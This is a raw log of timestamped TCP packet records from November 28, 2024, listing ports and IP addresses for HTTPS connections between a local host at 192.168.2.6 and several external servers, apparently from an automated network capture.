Nov 28, 2024 17:24:20.617492914 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.617508888 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.617520094 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.620843887 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.621160030 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.649693966 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.649867058 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.668097019 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.668117046 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.668189049 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.668196917 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.668241978 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.691355944 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.691384077 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.691973925 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.691981077 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.692318916 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.692326069 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.692888975 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.692893982 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.708125114 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.708173990 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.708240986 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.708251953 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.708317995 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.718774080 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.718848944 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.718857050 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.718888998 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.726655960 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.726676941 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.726815939 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.726824045 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.728804111 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.731693029 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.731702089 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.731786013 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.731812954 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.731851101 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.748184919 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.748212099 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.748320103 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.748328924 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.748372078 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.750614882 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.750690937 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.750698090 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.750730991 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.760536909 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.760618925 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.804024935 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.804071903 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.804126978 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.812078953 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.812119961 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.812176943 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.812186956 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.812243938 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.833440065 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.833456993 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.833537102 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.833549023 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.833606005 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.853503942 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.853522062 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.853604078 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.853616953 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.853655100 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.855811119 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.855909109 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.855918884 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.855952978 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.877966881 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.878005981 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.878237963 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.887198925 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.887228966 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.887262106 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.887331963 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.887356997 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.887402058 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.887427092 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.905333996 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.905420065 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.905426979 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.905462980 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.915724039 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.915741920 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.915838957 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.915843964 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.916075945 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.928144932 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.928155899 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.933028936 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.933044910 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.933113098 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.933119059 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.933165073 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.940419912 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.940514088 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.940524101 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.940746069 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.948501110 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.948515892 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.948596001 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.948601961 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.948646069 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.955420017 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.955501080 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.955514908 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.955557108 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.962371111 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.962392092 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.962449074 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.962456942 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.962506056 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.962529898 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.964772940 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.964802980 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.965255976 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.965282917 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.965358973 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.965384007 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.965399981 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.965527058 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.976567984 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.976583958 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.976655960 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.976682901 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.976758957 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.984553099 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.984643936 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.984652996 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.984730005 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.986277103 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.986361027 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.986370087 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.986438990 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.992636919 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.992655039 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.992719889 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.992727995 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.992784977 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.008455038 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.008472919 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.008563995 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.008573055 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.008665085 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.017570019 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.017683983 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.017712116 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.021296024 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.024429083 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.024449110 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.024498940 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.024507046 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.024540901 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.024561882 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.028673887 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.028757095 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.028765917 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.028834105 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.034924984 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.034949064 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.035052061 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.035068035 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.035109043 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.051610947 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.051714897 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.051732063 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.052396059 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.058738947 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.058835983 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.058854103 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.058907032 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.085656881 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.085772991 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.085803032 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.085916996 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.093205929 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.093302011 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.093329906 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.093389034 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.103205919 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.103224993 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.103302002 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.103317976 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.103362083 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.103379965 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.110296965 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.110332012 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.110368967 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.110380888 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.110424042 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.111543894 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.111639977 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.111653090 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.111701965 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.118160009 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.118180990 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.118283033 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.118294001 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.118339062 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.127018929 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.127041101 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.127130985 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.127141953 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.127187967 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.128608942 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.128715992 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.128725052 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.128774881 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.129982948 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.130001068 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.130106926 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.130125999 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.130383015 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.131180048 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.131299973 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.131308079 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.131452084 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.135339975 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.135358095 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.135416985 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.135426044 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.135457993 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.135471106 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.142811060 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.142884970 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.142914057 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.142934084 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.142939091 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.142965078 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.142971992 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.142999887 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.143024921 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.143024921 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.150528908 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.150549889 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.150662899 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.150686979 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.150742054 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.157529116 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.157550097 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.157644033 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.157660961 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.157855034 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.160167933 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.160187006 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.160459042 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.160499096 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.160573959 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.160804033 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.160877943 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.160890102 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.160955906 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.161020041 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.161087990 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.161096096 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.161151886 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.164797068 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.164817095 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.164870977 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.164879084 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.164900064 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.164921999 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.172353983 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.172419071 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.172492027 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.173187017 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.173247099 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.173307896 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.174632072 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.174721956 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.174730062 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.174917936 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.187686920 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.187755108 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.187767029 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.187774897 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.187824965 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.187844038 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.187851906 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.187902927 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.204452038 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.204529047 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.204538107 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.204597950 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.210464001 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.210501909 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.210544109 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.210556030 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.210592985 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.210611105 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.212229967 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.212300062 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.212307930 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.212583065 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.215694904 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.215778112 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.215786934 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.215843916 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.223248959 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.223330975 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.223341942 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.223546982 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.226736069 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.226813078 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.226821899 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.226857901 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.234441042 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.234551907 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.234568119 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.234672070 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.236922026 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.236943007 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.237020969 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.237030983 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.237082958 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.240248919 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.240381956 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.240392923 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.240437984 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.249541044 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.249700069 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.249731064 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.249788046 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.250268936 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.250401974 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.250411987 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.250458956 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.260896921 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.260916948 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.261029005 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.261040926 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.261092901 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.262826920 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.262952089 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.262964010 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.263010979 CET	49728	443	192.168.2.6	150.171.28.10
